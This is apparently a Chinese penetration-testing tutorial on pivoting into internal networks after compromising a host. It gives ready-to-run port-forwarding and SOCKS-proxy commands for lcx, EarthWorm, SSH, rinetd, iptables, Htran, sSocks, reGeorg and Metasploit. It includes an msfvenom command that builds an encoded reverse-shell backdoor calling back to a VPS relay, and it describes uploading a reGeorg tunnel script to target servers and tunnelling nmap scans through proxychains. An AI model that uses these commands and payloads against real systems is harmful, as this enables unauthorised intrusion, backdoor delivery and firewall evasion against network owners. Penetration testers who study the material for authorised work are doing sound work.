在日常的渗透中,通常在获得一台机器的权限后,如果想访问该机器所在内网的某机器端口,最常用的就是端口转发,比如可以将3389转发到公网的VPS上。下面是不同平台下常用的工具。

Windows


1)lcx
公网VPS:
lcx -listen 2222 3333
2222为转发端口,3333为本机任意未被占用的端口

测试机:
lcx -slave x.x.x.x 2222 127.0.0.1 3389

2)EarthWorm
公网VPS:
ew_for_Win.exe -s lcx_listen -l 10800 -e 8080

测试机:
E:\>ew_for_Win.exe -s lcx_slave -d 192.168.190.201 -e 8080 -f 192.168.192.144 -g 22

Linux


1)SSH隧道
本地端口转发
ssh -qTfnN -L port:host:hostport user@remote_ip #正向隧道,监听本地port
参数详解:

-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了~

假定host1是本地主机,host2是远程主机。由于种种原因,这两台主机之间无法连通。但是,另外还有一台host3,可以同时连通前面两台主机。
我们在host1执行下面的命令:

[vincent@vincent rinetd]$ ssh -qTfnN -L 2345:192.168.192.120:22 root@172.16.100.167

其中:
host2 IP:192.168.192.120
host3 IP:172.16.100.167
命令中的L参数一共接受三个值,分别是”本地端口:目标主机:目标主机端口”,它们之间用冒号分隔。
然后看下host1的监听:

[vincent@vincent rinetd]$ netstat -ano | grep 2345
tcp 0 0 127.0.0.1:2345 0.0.0.0:* LISTEN off (0.00/0/0)

然后连接本地的2345端口即可访问host2的SSH

远程端口转发
ssh -qTfnN -R port:host:hostport user@remote_ip #反向隧道,用于内网穿透防火墙限制之类
host1 IP:192.168.192.120
host2 IP:172.16.100.167
host1与host2之间无法连通,必须借助host3转发。但是,如果host3是一台内网机器,它可以连接外网的host1,但是反过来就不行,外网的host1连不上内网的host3。
我们在host3执行下面的命令:

ssh -qTfnN -R 2345:172.16.100.167:22 root@192.168.192.120

其中2345为host1的监听端口,22为host2的转发端口。
然后我们看host1的监听端口:

[root@server120 rinetd]# netstat -ano | grep 2345
tcp 0 0 127.0.0.1:2345 0.0.0.0:* LISTEN off (0.00/0/0)

此时我们通过ssh连接本地的2345端口即可访问host2的ssh。
看一下host3的进程:

[root@vincent rinetd]# ps axu | grep ssh | grep 2345
root 80061 0.0 0.1 62296 1288 ? Ss 12:58 0:00 ssh -qTfnN -R 2345:172.16.100.167:22 root@192.168.192.120

对应的连接:

[root@vincent rinetd]# netstat -anlp | grep 80061
tcp 0 0 172.16.100.134:58166 192.168.192.120:22 ESTABLISHED 80061/ssh

2)EarthWorm
公网VPS:

./ew -s lcx_listen -l 10800 -e 888

测试机:

./ew_for_linux64 -s lcx_slave -d 198.98.112.112 -e 888 -f 192.168.192.144 -g 8888

3)meterpreter

meterpreter > portfwd add -l 4444 -p 3389 -r 172.16.100.131
[*] Local TCP relay created: 0.0.0.0:4444 <-> 172.16.100.131:3389

meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20
[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80

4)rinetd

wget http://www.boutell.com/rinetd/http/rinetd.tar.gz
tar -zxvf rinetd.tar.gz

[root@vincent rinetd]# make
cc -DLINUX -g -c -o rinetd.o rinetd.c
rinetd.c:176: 警告:与内建函数‘log’类型冲突
cc -DLINUX -g -c -o match.o match.c
gcc rinetd.o match.o -o rinetd

[root@vincent rinetd]# make install
install -m 700 rinetd /usr/sbin
install -m 644 rinetd.8 /usr/man/man8
install: 无法创建普通文件"/usr/man/man8": 没有那个文件或目录
make: *** [install] 错误 1

运行make可能会出现错误,需如下修改,将rinetd.c文件中bindPort >= 65536和connectPort >= 65536修改为65535,不然在make的时候会提示超出系统最大定义端口。
手动建目录/usr/man/

[root@vincent rinetd]# make install
install -m 700 rinetd /usr/sbin
install -m 644 rinetd.8 /usr/man/man8

建立配置文件/etc/rinetd.conf,内容格式:源IP 源端口 要跳转的IP 要跳转的端口。我们来添加一条

allow 192.168.190.201 #设置允许连接的IP
0.0.0.0 2222 192.168.192.122 3389
[root@vincent rinetd]# ./rinetd -c /etc/rinetd.conf

看一下本地监听端口

[root@vincent rinetd]# netstat -ano | grep 2222
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN off (0.00/0/0)

然后我们使用192.168.190.201连接本机的2222端口,就可以登录192.168.192.122远程桌面

5)Iptables
需要有Root权限
首先启用网卡转发功能

[root@linux-node1 ~]# vim /etc/sysctl.conf
..........
net.ipv4.ip_forward = 1

PREROUTING是目的地址转换,要把别人的公网IP换成你们内部的IP,才让访问到你们内部受防火墙保护的机器。
POSTROUTING是源地址转换,要把你的内网地址转换成公网地址才能让你上网。
源地址发送数据–> {PREROUTING–>路由规则–>POSTROUTING} –>目的地址接收到数据

这里将访问192.168.192.120 1080 转到 192.168.192.144 22端口

iptables -t nat -A PREROUTING -p tcp -m tcp --dport 1080 -j DNAT --to-destination 192.168.192.144:22 
iptables -t nat -A POSTROUTING -d 192.168.192.144 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.192.120

 

[root@server120 source]# iptables -t nat -L -vn
Chain PREROUTING (policy ACCEPT 505 packets, 93775 bytes)
pkts bytes target prot opt in out source destination 
1 52 DNAT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:1080 to:192.168.192.144:22

Chain POSTROUTING (policy ACCEPT 31 packets, 1739 bytes)
pkts bytes target prot opt in out source destination 
1 52 SNAT tcp -- * * 0.0.0.0/0 192.168.192.144 tcp dpt:22 to:192.168.192.120

Chain OUTPUT (policy ACCEPT 31 packets, 1739 bytes)
pkts bytes target prot opt in out source destination

 

清空配置

iptables -t nat -F

 

端口转发的应用案例:

公网的VPS上没有msf的话,我们可以利用ssh隧道的端口转发功能,来使用本地的msf。
首先修改VPS的配置
编辑 /etc/ssh/sshd_config
在文件最后添加:
GatewayPorts yes
GatewayPorts是否允许远程主机连接本地的转发端口.默认值是”no”.
sshd 默认将远程端口转发绑定到loopback地址.这样将阻止其它远程主机连接到转发端口。
GatewayPorts 指令可以让 sshd 将远程端口转发绑定到非loopback地址,这样就可以允许远程主机连接了。

首先在本地执行

ssh -qTfnN -R 2345:172.16.100.128:2345 root@172.16.100.134

转发本地的2345端口到172.16.100.134的2345端口。
来查看一下172.16.100.134的连接

[root@vincent rinetd]# netstat -anlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 83417/sshd

发现2345端口是监听在0.0.0.0的,而如果没有GatewayPorts no的话则是监听在127.0.0.1的,仅允许本地连接。
然后我们生成一个后门

root@kali-vincent:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=172.16.100.134 LPORT=2345 -f exe -o abc.exe

然后我们在windows上运行一下这个后门,就可以直接在本地获取到meterpreter。

 

端口转发实现的是一对一的端口转发,而如果想更方面的渗透目标内网,则需要用到socks代理。下面是一些常用的工具。

 

Windows

0x01 Htran


步骤一
在外网服务器上执行命令
HTran.exe -p -listen 9001 9000
这个命令的意思是 监听两个端口,9001用来接收内网机器,9000连接sockscap的数据

步骤二
在内网机器执行命令
htran.exe -install //安装socket5服务
htran -start //启动
Htran.exe -p -slave 222.242.XXX.X 9001 127.0.0.1 8009
这个命令的意思是连接外网服务器,然后把数据转给内网机器的8009端口

IP 是服务器的IP ,9001是服务器监听的端口,127.0.0.1 本机IP 8009上本机反弹出去的端口
最终结果是内网机器8009–>外网机器9001–>本机scokscap使用9000端口连接外网机器

0x02 EarthWorm


使用方式与Linux相同

Linux

0x01 EarthWorm


EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

1)正向socks v5服务器

[root@server120 tmp]# ./ew_for_linux64 -s ssocksd -l 8888
ssocksd 0.0.0.0:8888 <--[10000 usec]--> socks server

2)反弹socks v5服务器
公网VPS上

[root@server120 tmp]# ./ew_for_linux64 -s rcsocks -l 1080 -e 8888 
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:8888
init cmd_server_for_rc here
start listen port here

内网肉鸡

[root@server144 tmp]# ./ew_for_linux64 -s rssocks -d 192.168.192.120 -e 8888 
rssocks 192.168.192.120:8888 <--[10000 usec]--> socks server

公网VPS上可以看到rssocks cmd_socket OK! 证明sock5代理服务建立成功了。

3)二级网络环境(一)
A和B两台主机控制权,A主机有公网IP,仅能连接内网B,B可以访问内网资源,但无法访问外网。
B上执行:

[root@server144 tmp]# ./ew_for_linux64 -s ssocksd -l 8888
ssocksd 0.0.0.0:8888 <--[10000 usec]--> socks server

A上执行(这里用到了端口转发功能):

[root@server120 tmp]# ./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.192.144 -g 8888
lcx_tran 0.0.0.0:1080 <--[10000 usec]--> 192.168.192.144:8888

外网可以连接A机器1080端口使用在B主机架设的socks5代理。

4)二级网络环境(二)
A和B两台主机控制权,A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
公网VPS:

[root@168368 ~]# ./ew -s lcx_listen -l 10800 -e 888
rcsocks 0.0.0.0:10800 <--[10000 usec]--> 0.0.0.0:888
init cmd_server_for_rc here
start listen port here

将10800端口收到的代理请求转交给888端口

A:

[root@server120 tmp]# ./ew_for_linux64 -s lcx_slave -d 198.98.112.112 -e 888 -f 192.168.192.144 -g 8888
lcx_slave 198.98.112.112:888 <--[10000 usec]--> 192.168.192.144:8888

B:

[root@server144 tmp]# ./ew_for_linux64 -s ssocksd -l 8888
ssocksd 0.0.0.0:8888 <--[10000 usec]--> socks server

然后就可以访问公网VPS10800端口使用sock5代理。

0x02 sSocks


sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.13,可在以下链接处下载。
http://sourceforge.net/projects/ssocks/
下载解压后,执行命令编译。
./configure && make
编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:
程序 功能

nsocks 类似通过Socks5代理后的netcat,可用来测试socks server
ssocksd 用来开启Socks5代理服务
ssocks 本地启用Socks5服务,并反弹到另一IP地址
rcsocks 接收反弹过来的Socks5服务,并转向另一端口

1)测试机在kali上起监听

root@kali:~/ssocks-0.0.14/src# ./rcsocks -l 1088 -p 1080 -vv
server: set listening client socks relay ...
server: port 1080 open
server: listening on 0.0.0.0:1080
server: set server relay ...
server: port 1088 open
server: listening on 0.0.0.0:1088

等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道
2)肉鸡开启Socks5代理服务,反弹

[root@CentOS src]# ./rssocks -vv -s 10.11.100.99:1080

可以看到连接通道建立

123

0x03 reGeorg


老外的开源应用
https://github.com/sensepost/reGeorg
reGeorg是reDuh的继承者。主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
在github上下载reGeorg的压缩包,然后本地安装完urllib3,就可以运行reGeorg了。

先将reGeorg的对应脚本上传到服务器端,直接访问显示“Georg says, ‘All seems fine’”,表示脚本运行正常。
上传对应语言版本的tunnel文件到服务器上。然后本地访问上传的源文件,即可在本地与远程主机上形成一个http的回路。命令如下:
python reGeorgSocksProxy.py -p 6666 -u http://目标站点/tunnel.jsp //端口随便指定,只要不与本机开放端口冲突即可

0x04 metasploit


需要先添加目标内网网段路由

msf exploit(handler) > route add 10.11.100.1 255.255.255.0 3
[*] Route added
msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
10.11.100.1 255.255.255.0 Session 3

或者可以在meterpreter中直接添加路由

meterpreter > run autoroute -s 10.11.100.1
[*] Adding a route to 10.11.100.1/255.255.255.0...
[+] Added route to 10.11.100.1/255.255.255.0 via 172.16.100.131
[*] Use the -p option to list all active routes

msf auxiliary(smb_login) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server

使用auxiliary/server/socks4a模块

msf auxiliary(smb_login) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server

0x05 SSH
通过下面的命令我们可以建立一个通过123.123.123.123的SOCKS服务器。

1.ssh -N -f -D 1080 123.123.123.123 # 将端口绑定在127.0.0.1上
2.ssh -N -f -D 0.0.0.0:1080 123.123.123.123 # 将端口绑定在0.0.0.0上

内网漫游

Windows:
proxifier、SocksCap
Linux:
proxychains

注意

ICMP无法代理,所以在使用nmap扫描的时候需要使用-Pn参数
必须使用-sT;如果使用-sS,端口状态会显示为filtered。
所以正确的nmap命令应该是:

root@kali:~# proxychains nmap 10.10.10.2 -T4 -sT